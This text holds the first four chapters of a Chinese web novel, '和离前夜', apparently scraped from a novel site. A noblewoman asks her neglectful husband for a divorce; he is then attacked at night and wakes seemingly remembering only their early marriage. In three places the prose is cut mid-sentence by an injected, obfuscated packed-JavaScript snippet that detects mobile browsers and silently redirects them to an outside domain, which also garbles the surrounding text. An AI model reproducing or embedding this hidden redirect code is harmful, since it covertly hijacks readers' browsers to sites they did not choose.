《和离前夜》 1. 第 1 章 夏日的午后,哪怕是京城的街道也只有三三两两的行人,道旁卖甜水的小贩都懒得吆喝,阳光从头顶大树上照射下来,光影斑驳,显得温暖而慵懒。 东平侯府的马车自道上走过,前后护卫、车夫、丫鬟婆子数十人,车声辚辚,让道旁的商家懒散地投来一眼,心想大概是侯府哪位命好的夫人或小姐出行。 一阵风吹来,撩起车帘,苏见微缓缓转头,看向道旁那棵郁郁葱葱生机勃勃的大槐树,再低下头,看向手中的纸鸢。 那是一只凤凰纸鸢,用彩纸糊的,竹篾削得整整齐齐,翅膀绚烂,拖着长长的尾巴,无论在什么时候飞上天空,一定是那片空地上最好看的纸鸢。 这便是外公的手艺,也是他对外孙女的宠溺,从小到大,没人的纸鸢能比得上她,什么燕子,蝴蝶,金鱼,花草,外公都给她做过,飞得也最高最稳,等到别人都跟着学时,她又拿了新的纸鸢。 今日七夕,去相国寺礼佛,遇到了来京述职的孟思远,没想到他竟也在相国寺,更没想到他从睦州给她捎了东西,是一只纸鸢,还有一罐林记豆腐乳。 她以为纸鸢是给女儿的,孟思远说不是,老师亲口说了,给她的;至于豆腐乳,是他赴京时偶然路过,顺手买了一罐,就一并给她捎来了。 她如何能信呢? 他并不礼佛,也早已游览过相国寺,怎么会那么巧就在那里;这么大的纸鸢,千里迢迢带过来得专门用大箱子装着才不扯烂;而这林记豆腐乳,陶瓷罐子装着,得用东西包裹严实才不碎,样样都是难带的东西。 可是,自从来京城她就没放过纸鸢了,她要端庄贤惠,不能再像个野丫头;她也没再吃过豆腐乳了,因为京城不喜欢吃这东西,陆家更不喜欢,婆婆和丈夫都觉得那些腌菜酱菜太难闻。 只有孟思远,只有外公外婆,才记得她曾经的样子,孟思远还给她带来外公的话,问她琴练得怎么样了,婚后可有继续用功读书练字,叫她别荒废了。 可是,她已经好久不曾捧过书本了,从睦州带来的琴早已放在库房烂掉了琴弦。 从相国寺到侯府,漫长的路,马车走得缓慢,她也不曾催促,就坐在车内,拿着纸鸢,想起许多年前的睦州,多年再未见的外公外婆,儿时与孟思远的两小无猜,不禁湿了眼眶。 而今呢? 她每逢初一十五或节气去礼佛,探望修行的婆婆;与那些贵夫人们虚与委蛇,说说京城时兴的妆容首饰,聊聊哪家后院的新鲜闹剧;回来看看女儿,再然后……待陆绍宁回来,有人情往来方面的事与他商讨,就说几句,没有事,就连面也不必见,只等到两人一起出门时,便会扮演一次举案齐眉的恩爱夫妻。 每一日就这么得过且过,她想要什么,她喜欢什么,她在意什么,好像已经很久没去想这些了。 她活成了自己婚前十分不屑的模样。 为什么呢? 她不知道,想了很久,觉得大概是因为这是陆夫人该有样子。 那年爹娘接她回京与陆家结亲,陆苏两家算是门当户对,但短短六年时间,做贵妃的姑姑离世,父亲被贬斥,陆绍宁在朝堂上迅速崛起,这门婚事就成了她最大的幸运。 好似理所当然,她就活成了这样。 她看着窗外出神,直到马车停下,看见陆府的门楣,她意识到今日除了要去相国寺礼佛,最重要的还是女儿小七的生日,她说了要做小七最喜欢的红豆酥,在院里放烟花让她许愿的。 思绪被现实拉回来,她不再缅怀过去,下马车回了暗香馆。 初成婚,她就与陆绍宁住在暗香馆,这儿种了三株白玉兰,一棵红梅,一棵白梅,高洁清冷,暗香浮动,的确名符其实,当时她很喜欢这里。 后来公公过世,陆绍宁成了侯府的主人,也为了起居方便,就搬去了公公生前所住的起云堂,当时女儿生病,她照顾着女儿,没太管这些,等女儿病好,她意识到暗香馆离起云堂实在有些远,但那又如何呢,大概他也愿意这样吧,毕竟两人那时就已貌和神离了。 一进暗香堂,就有一股阴凉之感,因为那三株玉兰已经长得太高,枝繁叶茂,又有两棵同样能遮挡日光的梅树,致使院内比其他地方凉快。 其实她觉得这样不好,女儿和她一起住在这里,总得多晒些太阳,要不然等过了夏天,就将玉兰树砍掉两棵吧。 这样想着,便已听到了女儿的欢笑声,今天她生日,和她说可以邀几个堂姐妹一起来吃糖葫芦、雪山酥,她估计一早就将人叫来了,昨夜还咕哝着要戴她那朵粉色绢花呢。 小姑娘长大了,开始爱美了。 想起女儿,苏见微不禁露出笑容来,想来,这几乎已成了她心灵唯一的寄托。 转头看身旁的丫鬟莺歌,张了张唇,想说接过那凤凰纸鸢,送给小七算了,转而又想,那是外公给自己的一片心啊,那是属于她的曾经啊,怎么能给小七? 她便改口道:“去将纸鸢和豆腐乳都放好吧,纸鸢好好放着别受潮了,豆腐乳就放在小饭厅,待会儿我尝尝。” “好。”莺歌笑着就下去了。 大概是听到了外面娘亲的声音,小七从房中跑出来,喊道:“娘!” 苏见微上前去,蹲下身抱住女儿,看着她头上的绢花和辫子道:“早上是柳语姐姐给你梳的头?咱们小七真好看!” 小七欢喜道:“是的,娘下午不用再出去了吧?” “不用了,下午不是给你过生日吗?娘给你去煮鸡蛋。” 小七垮起小脸:“能不煮吗?我不想吃鸡蛋。” 苏见微笑道:“就吃一个,不是普通鸡蛋,是红鸡蛋呢,娘亲小时候每年都吃,你还没见过的,今日也尝尝。” “红鸡蛋?好。”小女孩喜欢鲜艳的颜色,红色更是首当其冲,听见是没见过的红鸡蛋,就答应了。 二叔家的女儿萍萍从屋里出来,小七与她一起去玩了,苏见微去准备长寿面和红鸡蛋。 原本今日要做的膳食早已吩咐下去了,让厨娘做,但这会儿她突然起了意念,想让小七试试睦州的习俗。 到下午,膳食都做好了,全是小孩爱吃的软烂甜口,再加许多果脯小食,冰镇果子和雪酥山,苏见微又叫来了自己的陪嫁妈妈,在这么个特殊的吉日,给小七穿了耳洞,戴上麻油棉线养着,等到过年前就能戴耳环了。 原本苏见微想自己亲自替女儿穿耳,但自己毕竟没经验,怕弄疼了女儿,便叫了有经验的陪嫁妈妈,果然小七毫无知觉耳洞就穿好了,她小小的脸上带着神圣和憧憬,好似在这一日从幼儿变作小姑娘,苏见微看着女儿,竟有一种看女儿及笄的错觉。 时光匆匆,转眼女儿都五岁了,谁说不会一瞬的时间,女儿就及笄了呢? 那时她也老了,那么她这一生,除了一个女儿,又还留下了什么? “娘,我想要对玛瑙耳环,我喜欢红色的。”小七的幼嫩的声音将她从思绪中拉回来了,她笑道:“好啊,到时候娘叫来首饰铺的东家,玛瑙的,珍珠的,金的,银的,让你自己挑好不好?” “好,那什么时候呢?” “今年腊月的时候。” 小七高兴地看向堂姐:“我也要有耳环了,我要玛瑙的!” 孩子们又玩了一会儿,到天黑,苏见微开始让人搬烟花出来放。 烟花也是她特地挑的,有少见的金色,还有蓝色,还有能拿在手上玩的“火流星”和“地老鼠”,孩子们玩得欢声笑语,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529808|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要回去。 而陆绍宁,一直没回来。 提前半个月她就和他说过,小七大了,今年是整五岁的生日,她想给她好好办一回,让他这一日早些回来,也可以提前给她把大名取了。 他说好。 然后……大概是忘了吧,毕竟他自有许多他要忙的,新安置的那个外室也要陪。 而小七,从头至尾都没问过爹爹怎么没回。 不知是她玩得忘记了,还是心里十分清楚爹爹的缺失,陆绍宁对她少有关心,寻常又不怎么来这院里来,她见这爹爹的次数很少,父女俩本就本就没什么情分。 她看着天空中绽放的烟花,觉得自己与陆绍宁当初的婚事就如这烟花一般,那时何其欢喜,何其耀眼,可是一瞬的时间过去,一切都陷入沉默与死寂。 他们怎么就这样了呢? 玩到近亥时,孩子们不睡大人也要睡了,苏见微便让孩子们回去,又督促小七去洗漱,小姑娘嘴上说着不要洗澡不要睡,身体却很实诚,寝衣还没换上就睡着了,奶娘只好勉强替她穿上衣服,盖上被子。 她将小七床边的蜡烛吹了,只留一盏小灯,与莺歌一起回了房间。 莺歌低声道:“大人还没回来吗?没听见动静。” 苏见微知道,就连莺歌也觉得陆绍宁早该回来了。 她摇头:“不知道,随他去吧。” “可是……”莺歌犹豫一下,说道:“我觉得,夫人还是要警惕一些,早作准备,那外室是扬州粮商的义女,便是良家女,将来做姨娘,做正室,都是可以的,与那些烟花女子毕竟不同,万一她生了男孩,那岂不是长子? “夫人不替自己想,也要替七小想,小七将来出嫁,若当家的是她亲弟弟,总比外人生的好一些。” 苏见微明白,她什么都明白,也非常清楚若要高枕无忧,就得将陆绍宁哄过来,不管夫妻情分如何淡漠,好歹有个儿子,到时继承家业,也让自己与女儿安身立命,可是……她提不起劲,想到要争宠,要献媚,要求着他与她行夫妻之事,她就浑身难受。 算下来,他们大概有一年多都不曾有夫妻房事了吧,所以他找个外室也不奇怪。 莺歌见她一直不说话,小心问:“夫人到底是怎么想的呢?那顾大人就算未娶,也只是小时候的玩伴。” 话音才落,寂静的夜里传来些许动静,就在起云堂那边,多半是陆绍宁回来了。 苏见微抬眼道:“你不必说了,我知道,我先不卸妆了,去起去堂那边看看。” 莺歌觉得就该这样,便松了一口气,苏见微在卧房门口站了站,转身提了灯去往起云堂。 她步子快,到时陆绍宁也才回房不久,刚脱下外衫,唤着人备水,见她过来,倒微有些意外,随后问:“怎么这么晚还没睡?” 语气淡淡的,是随口一声客气的招呼。 苏见微进屋时就闻到了酒味,再靠近一些,酒味夹杂着香味,是那种浓郁的香料味,还有些不那么淡雅的蔷薇水味道,一看便知他才从风月场上回来,又也许,他那个外室也是这样的? 成婚六年,他在外形上没有太大的变化,仍然身形修长,面目清和,他爱穿浅色,看着便有一种玉树临风、温文尔雅的气度,只有她这个枕边人才知看上去如此光风霁月的男人,内里和那些脑满肠肥、眠花宿柳的普通男人没什么两样。 原本是听进了莺歌的话,也替女儿争一争父亲的关怀,想来问问他今日在忙什么,怎么这么晚才回,是不是忘了小七生日,小七等了他一天等等,但这一瞬间,她突然不想表演,什么都不想说了。 她觉得好累,一片死气沉沉,压得人要疯。 她道:“陆承安,我们和离吧。” 2. 第 2 章 苏见微听见了自己的声音,连她自己都意外的声音。 她竟然说和离。 好端端的为什么和离?和离了做什么?她和苏家本就关系淡漠,如今在陆家也是高嫁,更何况两人还有个女儿,她说和离不是瞎胡闹么? 可是她竟也没有改口。 大约是想到,她真的好讨厌这样的日子,真的好讨厌这样的人生,她想回睦州,想见外公外婆,想做回自己。 陆绍宁看向她,最初带了几分诧异,随即这诧异又很快消散,一边将外衫去衣架上挂好,一边问她:“你确定么?” “我确定。” 其实她并不确定,只是此时,竟有种“箭在弦上,不得不发”的感觉。 陆绍宁好似无所谓,回道:“好,你的嫁妆也可以带走。” 苏见微没想到他回答得这么干脆,甚至和离后财物如何安排都已决定好。 或许,他已在脑子里预想过这事? 从什么时候呢? 从她生女儿的时候?从他渐渐冷漠,不再进她房间的时候? 再或是她心生怨忿,不再主动关心他起居的时候? 总之,原来他比她更早想分开。 她心中又突突冒出好多怨气与失落来,不知道曾经两人的婚姻算什么,曾经新婚时的柔情他又是否有一丝挂念,以及他的亲生骨肉,他为何连一丝一毫都不放在心上。 她对他来说算什么,女儿又算什么? 但她不是那种会破口大骂的人,看着他好久,才说道:“小七我也想带走。” 这会儿陆绍宁抬眼看向她,那眼里有审视,有被冒犯的怒意,还有一种上位者的威慑,最后他露出一丝仿佛带着轻蔑的笑,语气冰冷道:“你愿带就带。” 一根弦在苏见微心中“啪”地断掉,她犹如被人往心口重击,清晰的事实告诉她,他真的不在意她,一丝一毫都不在意。 其实她也早就不在意了不是吗? 从他对她冷漠,从他怪她生女儿,从知道他夜宿青楼,她就已经痛苦无数次了,以致后来听说他置外室,她已经能平静应对。 再到如今他轻而易举同意和离,又有什么意外的? 一切都只是不甘而已,但事实如此,也没什么好不甘的。 她将这种内心的激愤和挫败压了下去,丝毫没表现出来,以同样平静的口吻问:“和离书你找五叔来写么?办好后,容我几天收拾东西就行,小七不懂事,性情乖巧,应该也不会闹腾。” “嗯,明日办吧,今日太晚了,我也累了。”他说着,揉了揉肩头。 苏见微不在意他累不累,也懒得问一句“喝花酒也会累?”,她只是不咸不淡道:“那你早些休息,我先回去了。” 说完就转身走了。 直到迈出起云堂的庭院,她才想起自己原本是要过来关心他的,是想问问他,为什么忘了女儿的生日,这是她自周岁之后,第一次整生日,他这个父亲却不在。 到现在,一切都结束了,这些未出口的话也不必说了,一句“和离”,就这样轻而易举被提了出来,又平静地达成共识。 这事十分惊骇,陆家是侯府,苏家虽已没落,却到底有个世家大户的壳子,他们二人也是京中让人称赞的和睦夫妻,却平地起惊雷一般要分开。 但此事已成定局了,再惊骇也是,因为她和陆绍宁都是说一不二的性子,说过的话再无反悔,他们会将这事推行下去,按商量的完成。 她回了房,却不可能睡着。 也不曾洗漱,就去了女儿房中,她在东稍间,小七就睡在西次间,陆绍宁许久不曾来过夜,奶娘也同睡在西次间,陪着小七。 她进去惊扰了奶娘,奶娘忙要起身,她轻声道:“春娘睡,我看看孩子。” 春娘困倦,打了个哈欠便又沉沉睡去,苏见微坐在床边,看着沉睡中的女儿。 她知不知道她父亲并不在意她母亲,也不在意她呢?她对这事有认知吗? 她会懂和离的意思吗?会懂母亲要和离,还要带走她,代表着什么吗? 她原本是侯府的小姐,离开了陆家,没有了父亲,等着她的是什么? 对,离开了陆家,她们母女要去哪里呢? 苏见微其实是想过这个问题的,大概是因为很早很早,当她想远离这痛苦的时候,和离的念头就曾冒出来过。 只是觉得这想法太不可能,所以只是想想,从未认真分析。 如今觉得,她最想回睦州,带着小七陪伴外公外婆晚年。 她是在外公家长大的。她出生在一个不好的日子,三月初三,加上出生后右肩有一处青色胎记,家人说形似乌鸦,显得诡异。 那一年开始,祖父身子总有不适,父母在问过大师之后将她送去了睦州外祖家,说江南的风水能洗她身上煞气。 正好外公外婆只有她母亲一个女儿,老来孤单,对此欣然答应。 这一去,去了十六年,她十七岁,等到族中堂姐病逝,两家都不想失了定下的姻缘,所以父母将她接了回来,与陆绍宁见面,由她来完成这姻缘。 她原本是抗拒的,凭什么要嫁给堂姐夫,凭什么以前对她不闻不问,现在却要让她来嫁一个不认识的人? 她早已习惯江南的山清水秀,一点也不喜欢京城,也十分思念外公外婆,每日都想回去,而且……她知道外公有意将她许配给自己的学生孟思远,她自己也觉得孟思远很好,心中其实是有婚配人选的。 可是,见过陆绍宁之后,一切都变了。 先前许多不满和怨怼都没了,她想要嫁给陆绍宁……大概当初,她对陆绍宁是一见钟情的。那一瞬的怦然心动,能压住所有。 那时如何能想到,短短六年,自己坐在女儿床前,想着和离后的去处。 就回睦州吧,父亲远在岭南,顾不了这边,母亲性情温顺,作不了她的主,她可以顺利和离,然后回睦州去,再不回来。 这样想着,她呆呆坐在女儿床边,望着如豆的烛火,回首京城这六年多时光,只觉满心怅然。 不知过了多久,她回到了自己床上,却仍无心入睡,只好拿出书来看,看到“昨风一吹无人会,今夜清光似往年”的句子,不知怎地就湿了眼眶。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529809|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看便看到四更天,待四更鼓声敲响时,她如梦初醒,犹豫是脱衣睡一会儿,还是索性就不睡了。 就在这时,门外响起剧烈的拍门声,听得人一惊,连熟睡的小七都被惊醒,发出轻哼声。 奶娘也醒了,伸手拍哄小七,随后问这边的苏见微:“夫人,这是哪里的动静?” 苏见微也不知道,对陆家来说这从未有过,是什么人,这大半夜的似要拿人一样砸门? 这两年,京中并不安稳。 先皇病逝,皇上怯懦,太后当政,随后便开始大肆提拔外戚,打压宗室,宗室诸王不乏声讨者,换来的是大片杀戮,各种的谋逆案就没断过。 短短三年,先后有五位王爷伏诛,每次谋逆案都能牵连一大批人,太后重用酷吏出身的郭贤,人称“罗织宰相”,谁也不知下一次被捉拿的人是谁,也不知什么时候轮到自己,是以风声鹤唳,人人自危。 当然,陆绍宁看上去是不必怕的,他很早就得了太后宠幸,升任大理寺丞,甚至因太后私养男宠,有人说陆绍宁也是凭着俊美容颜上位。 两人夫妻情分虽已不在,她却知道以他的才能和心性,绝不屑做个佞臣,只是对这些流言,她不曾听他辩驳,也不知他心里怎么想。 不管怎样,按理陆绍宁不会有什么事,可听见这砸门声,还是让人惊惶不安。 苏见微放下书,朝那边的奶娘道:“你们睡,我去看看。” 她这一晚本就没睡,连钗环都没取,出去倒是十分方便。 她听见门房已经将门打开,好似一群人往起云堂而去,还有吆喝声,待她走到院中,值夜的莺歌也从房中出来,可见她也听到了动静,觉得不寻常。 “去拿灯来,我去看看。”苏见微说。 莺歌忙去拿灯,待两人提着灯刚走出院门,却有妈妈从起云堂那边急走而来,见了二人,说道:“夫人,不好了,刚才永兴过来,说大人出事了,满头满身的血,现在抬着去起云堂了!” “怎么出的事?”苏见微一听,立刻加快了脚步,一边往起云堂去,一边问:“大人还清醒吗?是从外面送进来的?大人不在府上吗?大夫请了没?” “这……”妈妈答不上来,为难道:“永兴他没说……” 苏见微心知妈妈只是匆匆来传话,并不知详情,便不再问,赶紧去往起云堂。 起云堂早已是一片乱哄哄,有院里的丫鬟小厮,有前院进来的护卫,有身着轻甲的军士,而陆绍宁已被抬到了床上,人是昏迷的,脸色煞白,浑身湿透,头上、脸上、衣服上既是水、又是血,竟有一种不知是死是活的可怖模样。 她连忙问是否请了大夫,又让府上懂些外伤医治的护院来看看,忙乱中,总算知道了事情大概: 巡城禁军巡夜时经过飞虹桥,听见落水声,过去一看,发现水中有人,他们将人救起,认出竟是在朝官员陆绍宁,肩头有暗器伤,头又受重创,人早已昏迷,他们见他伤重,袭击者早已不知去向,只好先将人带了回来。 苏见微再问永兴,才知陆绍宁竟是孤身一人在外遇袭,永兴甚至连他什么时候出门都不知道。 3. 第 3 章 禁军还有巡夜任务,苏见微先向禁军道谢,言明日后再上门拜访,送走了禁军,随后又让下人拿干净棉布与热水来,她虽不懂治伤,却知道有些东西是必须的。 护院先过来给陆绍宁止了血,又过两刻大夫才赶到,这才开始诊治。 这大夫姓焦,是医药世家,京城名手,常来侯府看病,有他在,人心就安一些。 陆绍宁仍是一动不动,大夫先让人将他翻身过来,剪了他几缕头发,这才看清伤口。 苏见微也看见了,伤在正后脑,血糊糊的一片,她不敢看,只瞟了一眼就侧过头,紧张地攥住手。 从得知他受伤到现在,她都来不及思考,此刻一瞬的思绪飘过:他会有事吗?还能醒来吗? 心紧紧被揪起,她发现自己不知该如何面对这个可能,只能迅速将这猜测压制住,不去想。 看着大夫诊治,她忍不住问:“大夫,我家夫君情况如何?严重么?” 焦大夫回道:“夫人不必担心,血虽流得多,伤口却并不严重,包扎后按时换药便可。” 听到是这样的结果,无疑是意外之喜,苏见微松了一口气,却听大夫继续道:“如今只看大人是否伤及脑内,那才是麻烦之处。” 她连忙问:“那怎样才知道他是不是伤到了脑内呢?” 焦大夫回答:“先等大人清醒,若清醒后无异常倒好,若有异常,则再施针药医治。” “那劳烦大夫先留在府上歇息,帮忙照看我家夫君的伤情,怕遇着意外,我等又是慌乱失措,不知何处去寻大夫,也只有大夫的医术我夫君才信得过。”苏见微尊敬道。 大夫连忙答应:“那是,如此就麻烦夫人了,老朽暂且留在府上。” 随后大夫替陆绍宁包扎伤口,又开了药方让人去抓药,待一切忙完,天边已微微见晓,见陆绍宁情况平稳,苏见微就让下人带大夫去起云堂的偏房休息,自己守在床边,再次叫来下人,细问陆绍宁受伤的详情,又让人去通知大理寺,并交待莺歌循例督促府上杂事。 做完这一切,房中才算安静下来,她看向床上躺着的丈夫,忍不住伸手,探了探他的额头。 两人久未亲近,就连这样的动作似乎都有些陌生,好在他并未发热,除了有些微凉,一切正常。 到天亮,大理寺来人了,来的还是大理寺右丞周显阳,正是陆绍宁的副职,苏见微也认识。 他来一是询问详情;二是探望,苏见微只能将昨夜巡夜禁军的话告诉他,却也只有浅短的信息:半夜,飞虹桥遇暗器袭击,落水。 那暗器已被大夫取出,是一根长长的小飞箭,周显阳毕竟是大理寺的,一看便道:“这是袖箭,江湖上十分狠辣的暗器,幸好是中肩头,若是喉颈或是胸口,那大人便性命攸关了。禁军没看清是什么人?” 苏见微道:“听他们的意思是没有,大概那人躲在暗处,他在暗,禁军在明,得知禁军赶来,就离开了。” 周显阳看着那飞箭,一边思忖,一边自语:“什么人会使暗器呢?若那人与大人正面相对,在飞虹桥上当来不及逃才是……所以他在远处?” 说完他问:“大人是夜半遇袭,他为何会夜半去飞虹桥,身边竟无一人吗?” 苏见微回道:“夫君这几日忙于公务,一直宿在这里,而我为照顾孩子,宿在后面的院子,所以我不知夫君何时出去。夫君身旁常侍候的是永兴永昌两人,昨夜是永兴值夜,但他也说不知夫君何时出去。” 说完,她叫来了永兴。 永兴也承认,自己在偏房小寐,完全不知主人什么时候出门的。 周显阳再问:“昨夜你最后见大人是什么时候?” 永兴回道:“大概是二更末,夫人从大人房中离开后,我去问大人是否备水沐浴,大人‘嗯’了一声,我就去备水,侍候大人沐浴,随后我出去,没多久就见大人房中的灯熄了,我就想大人今晚大概不会有吩咐了,就闭眼睡了。” “之后再没听见响动?” 永兴有些愧疚,抓了抓头,回道:“没……再醒来时,就是听说大人受伤,被人送回来了。” 周显阳又问:“大人没同你说什么,心情如何?” 永兴想了想:“心情就……平静,看不出什么异常,也没说什么话。” “大人以前也这样?” 永兴点头:“都这样,话不多。” 苏见微在一旁沉默。 永兴所说,就是她和陆绍宁说好和离离开后,她还担心永兴句句实言相告,露了家丑,没想到什么也没有,陆绍宁十分平静。 而她,坐在床边,呆了半夜,哭了半夜,一夜未眠。 她在心中叹息一声。 周显阳只好再叫其他下人来问,这一问才知道陆绍宁确实是自己出去的,永兴睡得死并不知道,但院外守门的护卫知道,后门的门房也知道,的确,他是从后边角门出去的,似乎就是为了悄无声息出去。 但谁也不知道他出去做什么。 些时苏见微道:“我知道如今大理寺正在查铁矿案,夫君主办此案,牵连甚广,若是因此而受刺杀,可见案犯之猖獗,朝中再无公理可言。我为妇人,无法查案,也无法面圣,此中疑点,还望大人向申大人面呈,替我家夫君和大理寺寻回公道。” 申大人说的便是大理寺卿申怀仁,也是太后的堂兄,周显阳暗叹陆夫人虽为妇人,却是十分有见地,句句说中要点,让他不得不重视此事。 当然,大理寺本就不会轻忽。 他立刻诚恳道:“夫人放心,承安与我为同僚,此事攸关大理寺诸人安危与尊严,哪怕夫人不提,我等也不会含糊放过,定会查得明明白白,找出刺杀者!” 苏见微朝周显阳行礼:“多谢大人。” 送走周显阳,苏见微继续守着陆绍宁,陆绍宁迟迟不醒,她开始忧心,自己却也疲倦不堪,眼见他如此,又睡不着。 大夫到中午又来看了,道情况平稳,只是他不醒,大夫也无计可施。 苏见微拿蜂蜜水给陆绍宁润了润唇,自己也喝了些粥,午后时分,在床边打了个盹。 并没睡多久,却又有宫中的人过来,是太后所派内侍,前来探望陆绍宁病情,又有大理寺与刑部官员过来,这会儿是受朝廷委派,专门来查陆绍宁遇袭真相的,问得比周显阳更详细,熬到日暮才走。 苏见微已经疲惫不堪,交待人若非要事,其余探访一一回绝。 这一晚她勉强吃了些,在陆绍宁次间的睡榻上睡了一会儿,夜里醒来无数次,每次都不见陆绍宁醒来。 算下来,从他前夜受伤,到现在,已过了一日一夜,昏迷这么久,情况是不是更糟糕了? 想去问大夫这情况代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529810|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着什么,可大夫已歇下,无事总不好将人叫醒,她只好继续等着,好不容易盼到清早天见亮,倒没等她去催,大夫自己便早早起身过来了,可见大夫心里也紧张。 此时不用她开口问,从大夫的神色中她就看到了凝重和忧心,知道情况不妙。 “我给大人施一次针,今日再看看……”大夫只能这样说。 苏见微明白,这施针或许效用不大,只是无奈之下做点什么而已。 她踌躇一会儿,决定去托付金城公主,让公主去和太后说一声,是不是可以请太医来给陆绍宁看看。 对,这是最后能做的努力了。 决定好后,她便叫来族中二婶,将陆绍宁交与她照看,自己去了公主府。 自来到京城,她竭力和京中贵人打好关系,因她心思细腻,温婉和气,倒与诸人关系都不错,如今陆绍宁身受重伤,她请太医诊治也并不过分。 自太后掌权,不只打压宗室诸王,连皇上也十分猜忌,但对公主倒不错,公主对她突然来访也不介意,很痛快就应下此事,当即进宫去了。 太后倒体恤,上午便有太医院院正过来,替陆绍宁查看伤势。 院正与焦大夫商讨一番,都认为该做的都做了,余下只能等陆绍宁醒来再看情况。 苏见微无奈又失落,只好送走太医,继续守在床边。 虽是忧心不已,可毕竟疲惫,坐着坐着,就睡了过去。 她梦见了两人的和离。 她让莺歌等人在搬东西,搬到一个琉璃屏风,一个美貌女子出来道:“不许搬,这是我的!” 她在梦里是认识这女子的,这就是陆绍宁那个外室,如今已被他接进了府中,她对这女子也有嫉妒与恨意,马上道:“这明明是我的,是我嫁入陆家第二年自己买的!” “呵,买的,不是用我夫君的钱买的么?怎么说是你的?” “没有,不是他的钱,是我自己的钱,我的嫁妆!” “你说是你的嫁妆就是你的嫁妆?你家能给多少嫁妆你?”这时她看向前方,很快落下泪来,委屈道“夫君,她要将这屏风带走,你明明说了要给我的。” 自己回头,就看见了陆绍宁,他看着女子,满面柔情,再看向自己,就变了脸色,冷漠好似陌生人,他淡声道:“这屏风就留在这里吧,是蓁蓁喜欢的东西,花了多少钱,我给你就是。” 她心痛不已,不为屏风,只为他的薄情,不由想哭,却哭不出来,大声痛斥道:“凭什么,陆绍宁,这东西你想买就买么?我不卖!” 她喊得很大声,却好似发不出来声音,这让她急切,越发泪流满面,陆绍宁却好像听到了,回道:“苏见微,你为何如此刻薄?我便知道穷山恶水出刁民,当初就不该娶你!” “呵,你是失算了吧,当初我苏家是皇亲国戚,贵妃受宠,四皇子有望做太子,你娶我自是为攀龙附凤,一朝我姑姑离世,家族失势,你便露出了真面目,我也要告诉你,我后悔,很早就后悔嫁你,若嫁孟思远,他绝不会如此对我!” 陆绍宁轻蔑一笑:“那你去嫁吧,现在还来得及。” 苏见微既怒又恨,痛彻心扉中,还想与他对质,却是泣不成声,随即就感觉有人在拉自己,她突然就醒来,恍惚中看见床上的陆绍宁,正睁了眼,关切地看着她。 “怎么哭了,娇娇?” 4. 第 4 章 苏见微一愣,心惊道:“你醒了!” 此时已是傍晚,房中不知是什么时候点了灯,一片朦胧中的昏黄,四周寂静,不闻一点人声,苏见微说着就站起身来,朝外面吩咐:“快去和焦大夫说,大人醒了!” 说完她才又坐下身来看向陆绍宁,这会儿才意识到哪里不对。 他看自己的眼神怎么……那么不像他? 而且,他刚才叫她什么?娇娇?连说话的语气也不对! 这个小名自从离开睦州她好多年都没听到了,怎会从他口中说出来?莫非是自己听错了? 她还不知怎么开口问,陆绍宁已经试图起身,她连忙按住他:“别动,待会儿扯到了伤口。” 陆绍宁已经觉得吃痛,不由皱眉,摸了摸自己肩头,发现有伤,又探向自己头上,摸到了头上缠着的纱布。 “我受伤了?怎么会受伤?而且……” 他又看向苏见微,觉得她似乎还是她,但和往日的她又有点不一样。 苏见微之前听大夫说过,就算他醒来,有可能痴傻,有可能眼瞎,有可能瘫痪,总之但凡伤了脑子,什么情况都有可能发生。 她现在见他如此,便有些担心,马上问:“你忘记自己怎么受伤的了?” 陆绍宁回忆片刻,想摇头,却发现稍动一下就会头疼,便回道:“不记得。” 他再仔细回想,发现确实没有一点自己受伤的记忆,甚至唯一记得的是自己昨日休沐,又逢下雨,就哪里也没去,在家将先前写好的公文润了色,又看了会儿书,到晚间,见出浴的新婚妻子神色柔美,体态婀娜,不知怎么冲动起来,搂着她好一通缠绵,直到近三更才停歇,两人却并无睡意,相偎着说了很久的话,她说起自己在睦州的事,并告诉他她有个小名,叫娇娇,外祖常这样叫她,大了她嫌腻歪,不让叫了。 苏见微不知他想起了什么,只着急他的伤情,提醒道:“前夜你不知为什么事,独自一人夜半出去,却被人袭击中了暗器,从飞虹桥上摔落水中,你忘了么?” 陆绍宁神色一片茫然,此时焦大夫过来,苏见微连忙起身相迎,和大夫道:“我夫君醒了,但又有些奇怪。” 焦大夫过来,一边看陆绍宁,一边问:“如何奇怪?” 苏见微道:“夫君他不记得自己是怎么受伤的。” 焦大夫问:“大人可记得这是哪里?” 陆绍宁回道:“自然知道,这是我家,只是……”他看了看房中,说道:“我为何在父亲的房中?房中陈设和我记忆中也大不相同。” 说完他看向苏见微,似乎觉得妻子该知道原因。 